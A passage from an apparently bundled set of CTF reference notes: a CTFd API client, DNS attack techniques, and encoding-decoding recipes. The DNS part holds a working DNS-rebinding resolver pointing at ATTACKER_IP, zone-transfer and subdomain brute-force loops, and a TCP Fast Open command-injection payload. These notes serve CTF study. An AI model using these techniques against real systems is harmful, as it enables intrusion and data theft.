\\t'\n\n# 3. Read a specific challenge\nread -p \"Challenge ID: \" CID\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges/$CID\" | \\\n jq -r '.data | \"Name: \\(.name)\\nCategory: \\(.category)\\nValue: \\(.value)\\nSolves: \\(.solves)\\n\\nDescription:\\n\\(.description)\"' | \\\n sed 's/\u003c[^>]*>//g'\n\n# 4. Download files\nmkdir -p \"chall_$CID\"\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges/$CID\" | \\\n jq -r '.data.files[]' | while read -r f; do\n curl -s -H \"Authorization: Token $CTF_TOKEN\" -o \"chall_$CID/$(basename \"$f\" | sed 's/?.*//')\" \"${CTF_URL}${f}\"\n done\necho \"Files downloaded to chall_$CID/\"\n\n# 5. Submit flag\nread -p \"Flag: \" FLAG\ncurl -s -X POST -H \"Authorization: Token $CTF_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n \"$CTF_URL/api/v1/challenges/attempt\" \\\n -d \"{\\\"challenge_id\\\": $CID, \\\"submission\\\": \\\"$FLAG\\\"}\" | \\\n jq -r '.data | \"\\(.status): \\(.message)\"'\n```\n\n---\n\n## Python CTFd Client\n\nReusable class for scripted interaction:\n\n```python\nimport requests\nimport os\nimport re\nfrom pathlib import Path\n\n\nclass CTFdClient:\n \"\"\"Minimal CTFd API client for competition use.\"\"\"\n\n def __init__(self, url, token):\n self.url = url.rstrip('/')\n self.s = requests.Session()\n self.s.headers['Authorization'] = f'Token {token}'\n\n def _get(self, path, **kwargs):\n r = self.s.get(f'{self.url}/api/v1{path}', **kwargs)\n r.raise_for_status()\n return r.json()\n\n def _post(self, path, json=None):\n r = self.s.post(f'{self.url}/api/v1{path}', json=json)\n r.raise_for_status()\n return r.json()\n\n # --- Challenges ---\n\n def challenges(self, category=None):\n \"\"\"List all visible challenges.\"\"\"\n params = {'category': category} if category else {}\n return self._get('/challenges', params=params)['data']\n\n def challenge(self, cid):\n \"\"\"Get full challenge details.\"\"\"\n return self._get(f'/challenges/{cid}')['data']\n\n def unsolved(self):\n \"\"\"List challenges not yet solved by current user.\"\"\"\n return [c for c in self.challenges() if not c.get('solved_by_me')]\n\n # --- Files ---\n\n def download_files(self, cid, dest='.'):\n \"\"\"Download all files for a challenge.\"\"\"\n info = self.challenge(cid)\n dest = Path(dest)\n dest.mkdir(parents=True, exist_ok=True)\n paths = []\n for f in info.get('files', []):\n url = f'{self.url}{f}' if f.startswith('/') else f\n fname = re.sub(r'\\?.*', '', f.split('/')[-1])\n out = dest / fname\n r = self.s.get(url)\n r.raise_for_status()\n out.write_bytes(r.content)\n paths.append(str(out))\n return paths\n\n # --- Flag Submission ---\n\n def submit(self, cid, flag):\n \"\"\"Submit a flag. Returns (status, message).\"\"\"\n resp = self._post('/challenges/attempt',\n json={'challenge_id': cid, 'submission': flag})\n d = resp['data']\n return d['status'], d['message']\n\n # --- Scoreboard ---\n\n def scoreboard(self, top=10):\n \"\"\"Get top N scoreboard entries.\"\"\"\n return self._get(f'/scoreboard/top/{top}')['data']\n\n # --- User/Team ---\n\n def me(self):\n \"\"\"Current user info.\"\"\"\n return self._get('/users/me')['data']\n\n def my_solves(self):\n \"\"\"Challenges solved by current user.\"\"\"\n return self._get('/users/me/solves')['data']\n\n # --- Hints ---\n\n def hint(self, hint_id):\n \"\"\"Get hint content (if unlocked or free).\"\"\"\n return self._get(f'/hints/{hint_id}')['data']\n\n def unlock_hint(self, hint_id):\n \"\"\"Unlock a hint (costs points).\"\"\"\n return self._post('/unlocks', json={'target': hint_id, 'type': 'hints'})\n\n # --- Notifications ---\n\n def notifications(self, since_id=None):\n \"\"\"Get announcements. Optionally filter since a notification ID.\"\"\"\n params = {'since_id': since_id} if since_id else {}\n return self._get('/notifications', params=params)['data']\n\n\n# --- Usage ---\n\nif __name__ == '__main__':\n c = CTFdClient(os.environ['CTF_URL'], os.environ['CTF_TOKEN'])\n\n # Dashboard\n print(f\"Logged in as: {c.me()['name']}\")\n print(f\"\\nUnsolved challenges:\")\n for ch in c.unsolved():\n print(f\" [{ch['id']}] {ch['category']}/{ch['name']} ({ch['value']}pts, {ch['solves']} solves)\")\n\n # Download and submit workflow\n # files = c.download_files(1, dest='chall_1')\n # status, msg = c.submit(1, 'flag{...}')\n # print(f\"{status}: {msg}\")\n```\n\n---\n\n## Troubleshooting\n\n| Symptom | Cause | Fix |\n|---------|-------|-----|\n| 401 Unauthorized | Token expired or invalid | Re-generate token via web UI or session login |\n| 403 on file download | File token expired | Re-fetch challenge details to get fresh file URLs |\n| 403 on challenges | CTF not started or email unverified | Check `/api/v1/users/me` for `verified` field |\n| 429 Rate Limited | Too many wrong flag submissions | Wait 60 seconds; default is 10 incorrect/min |\n| Empty challenge list | CTF hasn't started | Check CTF start time in notifications or config |\n| `nonce` missing | Login page changed or anti-bot | Try API token auth instead of session login |\n| Connection info not in API | Some CTFs use dynamic instances | Check for challenge-specific instance API or Docker endpoints |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14795,"content_sha256":"04b31fe69a64bd4543b3441160ded9921f6ac55c51931ece38b3f54f6d4eacbf"},{"filename":"dns.md","content":"# CTF Misc - DNS Exploitation Techniques\n\n## Table of Contents\n- [EDNS Client Subnet (ECS) Spoofing](#edns-client-subnet-ecs-spoofing)\n- [DNSSEC NSEC Walking](#dnssec-nsec-walking)\n- [Incremental Zone Transfer (IXFR)](#incremental-zone-transfer-ixfr)\n- [DNS Rebinding](#dns-rebinding)\n- [DNS Tunneling / Exfiltration](#dns-tunneling--exfiltration)\n- [DNS Enumeration Quick Reference](#dns-enumeration-quick-reference)\n- [DNS Round-Robin A Record Enumeration (EKOPARTY 2017)](#dns-round-robin-a-record-enumeration-ekoparty-2017)\n- [DNS Maze Traversal (hxp CTF 2017)](#dns-maze-traversal-hxp-ctf-2017)\n- [TCP Fast Open SYN-Payload Command Injection (Insomnihack 2019)](#tcp-fast-open-syn-payload-command-injection-insomnihack-2019)\n\n---\n\n## EDNS Client Subnet (ECS) Spoofing\n**Pattern (DragoNflieS, Nullcon 2026):** DNS server returns different records based on client IP. Spoof source using ECS option.\n\n```bash\n# dig with ECS option\ndig @52.59.124.14 -p 5053 flag.example.com TXT +subnet=10.13.37.1/24\n```\n\n```python\nimport dns.edns, dns.query, dns.message\n\nq = dns.message.make_query(\"flag.example.com\", \"TXT\", use_edns=True)\necs = dns.edns.ECSOption(\"10.13.37.1\", 24, 0) # Internal network subnet\nq.use_edns(0, 0, 8192, options=[ecs])\nr = dns.query.udp(q, \"target_ip\", port=5053, timeout=1.5)\nfor rrset in r.answer:\n for rd in rrset:\n print(b\"\".join(rd.strings).decode())\n```\n\n**Key insight:** Try leet-speak subnets like `10.13.37.0/24` (1337), common internal ranges (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`).\n\n## DNSSEC NSEC Walking\n**Pattern (DiNoS, Nullcon 2026):** NSEC records in DNSSEC zones reveal all domain names by chaining to the next name.\n\n```python\nimport subprocess, re\n\ndef walk_nsec(server, port, base_domain):\n \"\"\"Walk NSEC chain to enumerate entire zone.\"\"\"\n current = base_domain\n visited = set()\n records = []\n while current not in visited:\n visited.add(current)\n out = subprocess.check_output(\n [\"dig\", f\"@{server}\", \"-p\", str(port), \"ANY\", current, \"+dnssec\"],\n text=True)\n # Extract TXT records\n for m in re.finditer(r'TXT\\s+\"([^\"]*)\"', out):\n records.append((current, m.group(1)))\n # Follow NSEC chain\n m = re.search(r'NSEC\\s+(\\S+)', out)\n if m:\n current = m.group(1).rstrip('.')\n else:\n break\n return records\n```\n\n## Incremental Zone Transfer (IXFR)\n**Pattern (Zoney, Nullcon 2026):** When AXFR is blocked, IXFR from old serial reveals zone update history including deleted records.\n\n```bash\n# AXFR blocked? Try IXFR from serial 0\ndig @server -p 5054 flag.example.com IXFR=0\n# Look for historical TXT records in the diff output\n```\n\n**IXFR output format:** The diff shows pairs of SOA records bracketing additions/deletions. Records between the old SOA and new SOA were removed; records after new SOA were added. Deleted TXT records often contain flag fragments.\n\n---\n\n## DNS Rebinding\n\n**Pattern:** Bypass same-origin or IP-based access controls by making a DNS name resolve to different IPs over time.\n\n**How it works:**\n1. Attacker controls DNS for `evil.com` with very low TTL (e.g., 1 second)\n2. First resolution: `evil.com` -> attacker's IP (serves malicious JS)\n3. Second resolution: `evil.com` -> `127.0.0.1` (or internal IP)\n4. Browser's same-origin policy allows JS on `evil.com` to access the new IP\n\n```python\n# Simple DNS rebinding server (Python + dnslib)\nfrom dnslib import DNSRecord, RR, A\nfrom dnslib.server import DNSServer, BaseResolver\n\nclass RebindResolver(BaseResolver):\n def __init__(self):\n self.count = {}\n\n def resolve(self, request, handler):\n qname = str(request.q.qname)\n self.count[qname] = self.count.get(qname, 0) + 1\n reply = request.reply()\n\n if self.count[qname] % 2 == 1:\n reply.add_answer(RR(qname, rdata=A(\"ATTACKER_IP\"), ttl=1))\n else:\n reply.add_answer(RR(qname, rdata=A(\"127.0.0.1\"), ttl=1))\n return reply\n```\n\n**Tools:** [rbndr.us](http://rbndr.us/) for quick rebinding without custom DNS, [singularity](https://github.com/nccgroup/singularity) for automated attacks.\n\n---\n\n## DNS Tunneling / Exfiltration\n\n**Pattern:** Data exfiltrated via DNS queries (subdomains) or responses (TXT records).\n\n**Detection in PCAPs:**\n```bash\n# Extract DNS queries from pcap\ntshark -r capture.pcap -Y \"dns.qry.type == 1\" \\\n -T fields -e dns.qry.name | sort -u\n\n# Look for encoded subdomains (hex, base32, base64url)\ntshark -r capture.pcap -Y \"dns.qry.name contains '.evil.com'\" \\\n -T fields -e dns.qry.name\n```\n\n**Decoding exfiltrated data:**\n```python\nimport base64\n\n# Subdomain-based exfil: data.chunk1.evil.com, data.chunk2.evil.com\nqueries = [...] # extracted DNS query names\nchunks = [q.split('.')[0] for q in queries if q.endswith('.evil.com')]\ndecoded = base64.b32decode(''.join(chunks).upper() + '====')\nprint(decoded)\n```\n\n**DNS-based C2 in PCAPs:**\n```bash\ntshark -r capture.pcap -Y \"dns.qry.type == 16\" \\\n -T fields -e dns.qry.name -e dns.txt\n```\n\n---\n\n## DNS Round-Robin A Record Enumeration (EKOPARTY 2017)\n\n**Pattern:** Domain configured with many rotating A records pointing to different backend IPs. Only some serve the relevant HTTP content. Query repeatedly to collect all IPs, then scan and make direct virtual-host requests.\n\n```bash\n# Get all A records (query multiple times for round-robin)\nfor i in $(seq 1 100); do dig +short target.com A; done | sort -u > ips.txt\n\n# Scan each IP for open port 80 and request with correct Host header\nwhile read ip; do\n response=$(curl -s -m 3 -H \"Host: target.com\" \"http://$ip/\")\n if echo \"$response\" | grep -q \"flag\"; then\n echo \"Found on $ip\"\n echo \"$response\"\n fi\ndone \u003c ips.txt\n```\n\n**Key insight:** DNS round-robin with heterogeneous backends can hide content across many IPs. A single DNS query may not return all records — query repeatedly (50-100 times) and deduplicate to exhaust the record set. Then make direct virtual-host requests (`-H \"Host: target.com\"`) to each IP for complete coverage.\n\n---\n\n## DNS Maze Traversal (hxp CTF 2017)\n\nA maze encoded as DNS records: each UUID subdomain is a position, `dig -t txt` gives hints, CNAME records for directional subdomains give neighboring positions:\n\n```python\nimport dns.resolver\ndef get_neighbors(uuid, domain):\n neighbors = {}\n for direction in ['up', 'down', 'left', 'right']:\n try:\n answer = dns.resolver.resolve(f'{direction}.{uuid}.{domain}', 'CNAME')\n neighbors[direction] = str(answer[0]).split('.')[0]\n except: pass\n return neighbors\n\n# BFS to find exit\nfrom collections import deque\nqueue = deque([(start_uuid, [start_uuid])])\nvisited = {start_uuid}\nwhile queue:\n current, path = queue.popleft()\n txt = dns.resolver.resolve(f'{current}.{domain}', 'TXT')\n if 'flag' in str(txt[0]):\n print(f\"Found flag at {current}: {txt[0]}\")\n break\n for direction, next_uuid in get_neighbors(current, domain).items():\n if next_uuid not in visited:\n visited.add(next_uuid)\n queue.append((next_uuid, path + [next_uuid]))\n```\n\n**Key insight:** DNS records can encode arbitrary graph structures. Each node is a subdomain (UUID), edges are CNAME records at directional subdomains (up/down/left/right.UUID.domain), and node data is in TXT records. Standard graph search (BFS/DFS) solves these. Cache aggressively — DNS round-trip times dominate runtime. Use `dns.resolver` (dnspython) rather than subprocess `dig` calls for performance.\n\n---\n\n## DNS Enumeration Quick Reference\n\n```bash\n# Standard zone transfer attempt\ndig @ns.target.com target.com AXFR\n\n# Brute-force subdomains\nfor sub in $(cat wordlist.txt); do\n dig +short \"$sub.target.com\" && echo \"$sub\"\ndone\n\n# Reverse DNS sweep\nfor i in $(seq 1 254); do\n dig +short -x 10.0.0.$i\ndone\n\n# Check for wildcard DNS\ndig randomnonexistent.target.com\n```\n\n---\n\n## TCP Fast Open SYN-Payload Command Injection (Insomnihack 2019)\n\n**Pattern:** A service uses TCP Fast Open (RFC 7413) and processes up to ~1460 bytes of *data carried in the initial SYN packet*, before the three-way handshake completes. If the handler passes those bytes to a command interpreter, you can invoke commands without ever establishing a full connection — ports that appear closed/filtered to standard TCP scans respond only to SYN+data. A common CTF hint for this technique is any mention of \"RFC 741x\", \"fast open\", or \"knock with data\".\n\n```python\n# Linux kernel: enable client-side TFO: sysctl -w net.ipv4.tcp_fastopen=5\n# Python sockets support TFO via MSG_FASTOPEN on the first sendto().\nimport socket\nMSG_FASTOPEN = 0x20000000\n\ndef tfo_send(host, port, payload: bytes, timeout=3.0):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(timeout)\n s.sendto(payload, MSG_FASTOPEN, (host, port))\n try:\n return s.recv(65536)\n finally:\n s.close()\n\n# Scapy variant: raw SYN with payload (no kernel TFO cookie needed for testing)\n# from scapy.all import IP, TCP, send\n# send(IP(dst=host)/TCP(dport=port, flags='S', seq=1)/b'SyN ls -la')\n\nprint(tfo_send('10.13.37.99', 3737, b'SyN cat ./secret/me/not/flag.txt'))\n```\n\n**Key insight:** Classic port scans (`nmap -sS`, `nc -vz`) don't carry SYN data, so TFO-only services look silent. When a challenge hints at RFC 7413 or \"knock with data\", send the payload *inside* the SYN (either via `MSG_FASTOPEN` or a crafted Scapy packet) and watch for a response. The prefix (\"SyN\" here) is often the service's auth token since it's visible in the first 3-4 bytes of any sniffed SYN.\n\n**References:** Insomnihack 2019 — Net1, writeups 13988, 13989, 13990\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":9698,"content_sha256":"04be1c7d9ce7560fb861d3a17b227997c6919614e65101994ef5615d756ba8c4"},{"filename":"encodings-advanced.md","content":"# CTF Misc - Advanced Encodings & Specialized Formats\n\n## Table of Contents\n- [Verilog/HDL](#veriloghdl)\n- [Gray Code Cyclic Encoding (EHAX 2026)](#gray-code-cyclic-encoding-ehax-2026)\n- [Binary Tree Key Encoding](#binary-tree-key-encoding)\n- [RTF Custom Tag Data Extraction (VolgaCTF 2013)](#rtf-custom-tag-data-extraction-volgactf-2013)\n- [SMS PDU Decoding and Reassembly (RuCTF 2013)](#sms-pdu-decoding-and-reassembly-ructf-2013)\n- [Automated Multi-Encoding Sequential Solver (HackIM 2016)](#automated-multi-encoding-sequential-solver-hackim-2016)\n- [RFC 4042 UTF-9 Decoding (SECCON 2015)](#rfc-4042-utf-9-decoding-seccon-2015)\n- [Pixel Color Binary Encoding (Break In 2016)](#pixel-color-binary-encoding-break-in-2016)\n- [Hexadecimal Sudoku + QR Assembly (BSidesSF 2026)](#hexadecimal-sudoku--qr-assembly-bsidessf-2026)\n- [TOPKEK Binary Encoding (Hack The Vote 2016)](#topkek-binary-encoding-hack-the-vote-2016)\n- [MaxiCode 2D Barcode Decoding (CSAW CTF 2016)](#maxicode-2d-barcode-decoding-csaw-ctf-2016)\n- [DTMF Audio with Multi-Tap Phone Keypad Decoding (h4ckc0n 2017)](#dtmf-audio-with-multi-tap-phone-keypad-decoding-h4ckc0n-2017)\n- [Music Note Interval Steganography (DefCamp 2017)](#music-note-interval-steganography-defcamp-2017)\n- [Ruby Array#unpack Buffer Under-Read CVE-2018-8778 (Codegate 2019)](#ruby-arrayunpack-buffer-under-read-cve-2018-8778-codegate-2019)\n- [Binary Grid Text to QR Image + XOR Key (Pragyan CTF 2019)](#binary-grid-text-to-qr-image--xor-key-pragyan-ctf-2019)\n\n---\n\n## Verilog/HDL\n\n```python\n# Translate Verilog logic to Python\ndef verilog_module(input_byte):\n wire_a = (input_byte >> 4) & 0xF\n wire_b = input_byte & 0xF\n return wire_a ^ wire_b\n```\n\n---\n\n## Gray Code Cyclic Encoding (EHAX 2026)\n\n**Pattern (#808080):** Web interface with a circular wheel (5 concentric circles = 5 bits, 32 positions). Must fill in a valid Gray code sequence where consecutive values differ by exactly one bit.\n\n**Gray code properties:**\n- N-bit Gray code has 2^N unique values\n- Adjacent values differ by exactly 1 bit (Hamming distance = 1)\n- The sequence is **cyclic** — rotating the start position produces another valid sequence\n- Standard conversion: `gray = n ^ (n >> 1)`\n\n```python\n# Generate N-bit Gray code sequence\ndef gray_code(n_bits):\n return [i ^ (i >> 1) for i in range(1 \u003c\u003c n_bits)]\n\n# 5-bit Gray code: 32 values\nseq = gray_code(5)\n# [0, 1, 3, 2, 6, 7, 5, 4, 12, 13, 15, 14, 10, 11, 9, 8, ...]\n\n# Rotate sequence by k positions (cyclic property)\ndef rotate(seq, k):\n return seq[k:] + seq[:k]\n\n# If decoded output is ROT-N shifted, rotate the Gray code start by N positions\nrotated = rotate(seq, 4) # Shift start by 4\n```\n\n**Key insight:** If the decoded output looks correct but shifted (e.g., ROT-4), the Gray code start position needs cyclic rotation by the same offset. The cyclic property guarantees all rotations remain valid Gray codes.\n\n**Wheel mapping:** Each concentric circle = one bit position. Innermost = bit 0, outermost = bit N-1. Read bits at each angular position to build N-bit values.\n\n---\n\n## Binary Tree Key Encoding\n\n**Encoding:** `'0' → j = j*2 + 1`, `'1' → j = j*2 + 2`\n\n**Decoding:**\n```python\ndef decode_path(index):\n path = \"\"\n while index != 0:\n if index & 1: # Odd = left ('0')\n path += \"0\"\n index = (index - 1) // 2\n else: # Even = right ('1')\n path += \"1\"\n index = (index - 2) // 2\n return path[::-1]\n```\n\n---\n\n## RTF Custom Tag Data Extraction (VolgaCTF 2013)\n\n**Pattern:** Data hidden inside custom RTF control sequences (e.g., `{\\*\\volgactf412 [DATA]}`). Extract numbered blocks, sort by index, concatenate, and base64-decode.\n\n```python\nimport re, base64\n\nrtf = open('document.rtf', 'r').read()\n# Extract custom tags: {\\*\\volgactf\u003cN> \u003cDATA>}\nblocks = re.findall(r'\\{\\\\\\*\\\\volgactf(\\d+)\\s+([^}]+)\\}', rtf)\nblocks.sort(key=lambda x: int(x[0])) # Sort by numeric index\npayload = ''.join(data for _, data in blocks)\nflag = base64.b64decode(payload)\n```\n\n**Key insight:** RTF files support custom control sequences prefixed with `\\*` (ignorable destinations). Malicious or challenge data hides in these ignored fields — standard RTF viewers skip them. Look for non-standard `\\*\\` tags with `grep -oP '\\\\\\\\\\\\*\\\\\\\\[a-z]+\\d*' document.rtf`.\n\n---\n\n## SMS PDU Decoding and Reassembly (RuCTF 2013)\n\n**Pattern:** Intercepted hex strings are GSM SMS-SUBMIT PDU (Protocol Data Unit) frames. Concatenated SMS messages require UDH (User Data Header) reassembly by sequence number.\n\n```python\nfrom smspdu import SMS_SUBMIT\n\n# Read PDU hex strings (one per line)\npdus = [line.strip() for line in open('sms_intercept.txt')]\n\n# Sort by concatenation sequence number (bytes 38-40 in hex)\npdus.sort(key=lambda pdu: int(pdu[38:40], 16))\n\n# Extract and concatenate user data\npayload = b''\nfor pdu in pdus:\n sms = SMS_SUBMIT.fromPDU(pdu[2:], '') # Skip first byte (SMSC length)\n payload += sms.user_data.encode() if isinstance(sms.user_data, str) else sms.user_data\n\n# Payload is often base64 — decode to get embedded file\nimport base64\nwith open('output.png', 'wb') as f:\n f.write(base64.b64decode(payload))\n```\n\n**Key insight:** SMS PDU format: `0041000B91` prefix identifies SMS-SUBMIT. UDH field at bytes 29-40 contains `05000301XXYY` where XX=total parts, YY=sequence number. Install `smspdu` library (`pip install smspdu`) for automated parsing. Output is often a base64-encoded image — use reverse image search to identify the subject.\n\n---\n\n## Automated Multi-Encoding Sequential Solver (HackIM 2016)\n\nSome challenges require decoding 25+ sequential layers of different encodings. Build an automated decoder:\n\n```python\nimport base64, zlib, bz2, codecs\n\ndef auto_decode(data):\n \"\"\"Try each encoding and return first successful decode\"\"\"\n decoders = [\n ('base64', lambda d: base64.b64decode(d)),\n ('base32', lambda d: base64.b32decode(d)),\n ('base16', lambda d: base64.b16decode(d.upper())),\n ('zlib', lambda d: zlib.decompress(d if isinstance(d, bytes) else d.encode())),\n ('bz2', lambda d: bz2.decompress(d if isinstance(d, bytes) else d.encode())),\n ('rot13', lambda d: codecs.decode(d, 'rot_13')),\n ('hex', lambda d: bytes.fromhex(d if isinstance(d, str) else d.decode())),\n ('binary', lambda d: bytes(int(d[i:i+8], 2) for i in range(0, len(d.strip()), 8))),\n ('ebcdic', lambda d: d.decode('cp500') if isinstance(d, bytes) else d.encode().decode('cp500')),\n ]\n\n for name, decoder in decoders:\n try:\n result = decoder(data)\n if result and len(result) > 0:\n return name, result\n except:\n continue\n return None, data\n\n# Chain decoder\ndata = initial_input\nfor i in range(50): # Max layers\n name, data = auto_decode(data)\n if name is None:\n break\n print(f\"Layer {i}: {name}\")\n```\n\nAdd Brainfuck detection (presence of `+-\u003c>[].,` characters only) and other esoteric languages as needed.\n\n---\n\n## RFC 4042 UTF-9 Decoding (SECCON 2015)\n\nRFC 4042 (April Fools' RFC) defines UTF-9, a 9-bit encoding for Unicode on systems with 9-bit bytes:\n\n- Each 9-bit \"byte\" has a continuation bit (MSB): 1 = more bytes follow, 0 = last byte\n- Lower 8 bits contain character data\n- Multi-byte sequences concatenate the 8-bit portions\n\n```python\ndef decode_utf9(data_bits):\n \"\"\"Decode UTF-9 from a bitstring\"\"\"\n chars = []\n i = 0\n while i \u003c len(data_bits):\n # Read 9-bit units until continuation bit is 0\n codepoint_bits = ''\n while i + 9 \u003c= len(data_bits):\n continuation = int(data_bits[i])\n codepoint_bits += data_bits[i+1:i+9]\n i += 9\n if continuation == 0:\n break\n if codepoint_bits:\n chars.append(chr(int(codepoint_bits, 2)))\n return ''.join(chars)\n\n# Convert octal/hex input to binary first\nbinary_string = bin(int(octal_data, 8))[2:]\nresult = decode_utf9(binary_string)\n```\n\n**Key insight:** Look for \"4042\" or \"UTF-9\" in challenge descriptions. The April Fools' RFC series (RFC 1149, 2549, 4042) occasionally appears in CTFs.\n\n---\n\n## Pixel Color Binary Encoding (Break In 2016)\n\nNarrow images (7-8 pixels wide) may encode ASCII characters as binary pixel rows:\n\n```python\nfrom PIL import Image\n\nimg = Image.open('challenge.png')\npixels = img.load()\nwidth, height = img.size\n\ntext = ''\nfor y in range(height):\n bits = ''\n for x in range(width):\n r, g, b = pixels[x, y][:3]\n # Red pixel = 1, Black pixel = 0 (or white=1, black=0)\n bits += '1' if r > 128 else '0'\n\n # Pad to 8 bits if needed (7-pixel-wide images)\n if len(bits) == 7:\n bits = '0' + bits # Prepend leading zero\n\n text += chr(int(bits, 2))\n\nprint(text)\n```\n\n**Key insight:** Image width of 7 or 8 pixels strongly suggests binary character encoding (7-bit ASCII or 8-bit). Check both color channels and brightness thresholds.\n\n---\n\n### Hexadecimal Sudoku + QR Assembly (BSidesSF 2026)\n\n**Pattern (hexhaustion):** Flag is encoded across 4 QR codes, each containing one quadrant of a 16x16 hexadecimal Sudoku grid. Solve the Sudoku, read the main diagonal values as hex pairs, convert to ASCII for the flag.\n\n**Solving steps:**\n\n1. **Scan QR codes:** Use `zbarimg` or `pyzbar` to decode all 4 QR codes\n2. **Assemble grid:** Each QR contains a quadrant (8x8) with hex values (0-F) and blanks\n3. **Solve the 16x16 Sudoku:** Standard Sudoku rules apply with hex digits (0-F) — each row, column, and 4x4 box contains each digit exactly once\n4. **Extract flag:** Read diagonal values `grid[i][i]` for i=0..15, pair into bytes, decode as ASCII\n\n```python\nfrom itertools import product\n\ndef solve_hex_sudoku(grid):\n \"\"\"Solve 16x16 Sudoku with hex digits 0-F using backtracking.\"\"\"\n digits = set(range(16))\n\n def possible(r, c):\n used = set()\n used.update(grid[r]) # Row\n used.update(grid[i][c] for i in range(16)) # Column\n br, bc = (r // 4) * 4, (c // 4) * 4 # 4x4 box\n for i, j in product(range(br, br+4), range(bc, bc+4)):\n used.update({grid[i][j]})\n used.discard(-1) # -1 = blank\n return digits - used\n\n def solve():\n for r, c in product(range(16), range(16)):\n if grid[r][c] == -1:\n for d in possible(r, c):\n grid[r][c] = d\n if solve():\n return True\n grid[r][c] = -1\n return False\n return True\n\n solve()\n return grid\n\n# Read diagonal and convert to ASCII\nsolved = solve_hex_sudoku(grid)\ndiag_hex = ''.join(format(solved[i][i], 'X') for i in range(16))\nflag = bytes.fromhex(diag_hex).decode('ascii')\nprint(flag) # e.g., \"HYPOAXIS\"\n```\n\n**Key insight:** The QR codes serve as both a distribution mechanism (splitting the puzzle into 4 pieces) and a data encoding layer. The actual flag encoding is in the Sudoku solution's diagonal values interpreted as hex bytes.\n\n**When to recognize:** Challenge distributes multiple QR codes, mentions \"hex\", \"nibbles\", or \"16x16 grid\". QR content contains hex characters with blanks/underscores.\n\n**References:** BSidesSF 2026 \"hexhaustion\"\n\n---\n\n### TOPKEK Binary Encoding (Hack The Vote 2016)\n\nCustom binary encoding where `KEK` represents bit 0 and `TOP` represents bit 1. Exclamation marks indicate bit repetition count.\n\n```python\ndef decode_topkek(encoded):\n \"\"\"Decode TOPKEK encoding: KEK=0, TOP=1, !=repeat count\"\"\"\n tokens = encoded.split()\n bits = \"\"\n\n for token in tokens:\n # Count exclamation marks (repeat count = len - 3)\n base = token.replace('!', '')\n repeats = len(token) - len(base)\n if repeats == 0:\n repeats = 1\n\n if base == \"KEK\":\n bits += \"0\" * repeats\n elif base == \"TOP\":\n bits += \"1\" * repeats\n\n # Convert bit string to ASCII\n message = \"\"\n for i in range(0, len(bits), 8):\n byte = bits[i:i+8]\n if len(byte) == 8:\n message += chr(int(byte, 2))\n\n return message\n\n# Example: \"KEK! TOP!! KEK TOP!\"\n# = \"0\" + \"11\" + \"0\" + \"1\" = \"0110 1...\"\n```\n\n**Key insight:** TOPKEK is a CTF-specific encoding. Recognize it by the pattern of `TOP`/`KEK` words with varying numbers of `!` suffixes. Each `!` adds one repetition of the corresponding bit value. Decode to binary, then group into 8-bit bytes for ASCII.\n\n---\n\n### MaxiCode 2D Barcode Decoding (CSAW CTF 2016)\n\nMaxiCode is a hexagonal 2D barcode used by UPS, occasionally found in CTF forensics challenges.\n\n```bash\n# Identify MaxiCode: distinctive bullseye center pattern\n# with hexagonal dot matrix (unlike QR's square modules)\n\n# Decode using zxing library:\n# Online: https://zxing.org/w/decode.jspx (upload image)\n\n# Python:\n# pip install zxing pyzbar\npython3 -c \"\nfrom pyzbar.pyzbar import decode\nfrom PIL import Image\nresults = decode(Image.open('maxicode.gif'), symbols=[pyzbar.ZBarSymbol.CODE128])\n# Note: pyzbar may not support MaxiCode directly\n# Use zxing Java library instead:\n\"\n\n# Java zxing command-line:\njava -cp javase.jar:core.jar com.google.zxing.client.j2se.CommandLineRunner maxicode.gif\n\n# Alternative: use online decoders\n# - https://products.aspose.app/barcode/recognize\n# - https://www.onlinebarcodereader.com/\n```\n\n**Key insight:** MaxiCode has a distinctive bullseye center (3 concentric circles) surrounded by a hexagonal grid. Standard QR decoders won't read it. Use zxing (Java) which supports MaxiCode natively, or online barcode decoders. MaxiCode is found in shipping labels, CTF forensics disk images, and embedded in other files.\n\n---\n\n### DTMF Audio with Multi-Tap Phone Keypad Decoding (h4ckc0n 2017)\n\n**Pattern:** Audio file contains DTMF telephone keypad tones. This is a two-layer encoding: first decode tones to a digit sequence, then decode grouped digits as multi-tap phone keypad input (repeated presses select letters).\n\n**Step 1 — Decode DTMF tones to digits:** Use Audacity's spectrogram view or an online DTMF decoder to identify tone pairs. Pauses/gaps indicate word or group boundaries.\n\n**Step 2 — Decode multi-tap keypad:** Group digits by their key press sequences, then map to letters:\n\n```python\n# Multi-tap decode mapping\nT9 = {\n '2':'a', '22':'b', '222':'c',\n '3':'d', '33':'e', '333':'f',\n '4':'g', '44':'h', '444':'i',\n '5':'j', '55':'k', '555':'l',\n '6':'m', '66':'n', '666':'o',\n '7':'p', '77':'q', '777':'r', '7777':'s',\n '8':'t', '88':'u', '888':'v',\n '9':'w', '99':'x', '999':'y', '9999':'z',\n}\n\ndef decode_multitap(groups):\n \"\"\"groups: list of strings like ['444', '88', '2', ...]\"\"\"\n return ''.join(T9.get(g, '?') for g in groups)\n```\n\n**Key insight:** Two-layer encoding — DTMF tones encode digits, then digit sequences use multi-tap phone keypad mapping. Use Audacity's spectrogram to identify pause positions for grouping boundaries. Each same-digit run maps to one letter; a pause separates distinct keypresses on the same digit key.\n\n---\n\n### Music Note Interval Steganography (DefCamp 2017)\n\n**Pattern:** An MP3 is transcribed to musical notes. The flag is encoded as pairs of notes where each note maps to a nibble (4 bits) based on its position (scale degree) in the D major scale. Two nibbles combine to form one byte/character.\n\n**Encoding scheme:**\n- D major scale degrees 0–7 map to nibble values 0–7 (3-bit nibble) or 0–15 (4-bit nibble) depending on variant\n- Each pair of consecutive notes encodes one character: `(note1 \u003c\u003c 4) | note2`\n- Known flag prefix/suffix (e.g., `CTF{...}`) at start/end reveals the alphabet mapping\n\n**Recovery approach:**\n\n```python\n# Example: D major scale degree → nibble value\n# D=0, E=1, F#=2, G=3, A=4, B=5, C#=6, D(octave)=7\nscale = {'D': 0, 'E': 1, 'F#': 2, 'G': 3, 'A': 4, 'B': 5, 'C#': 6}\n\nnotes = 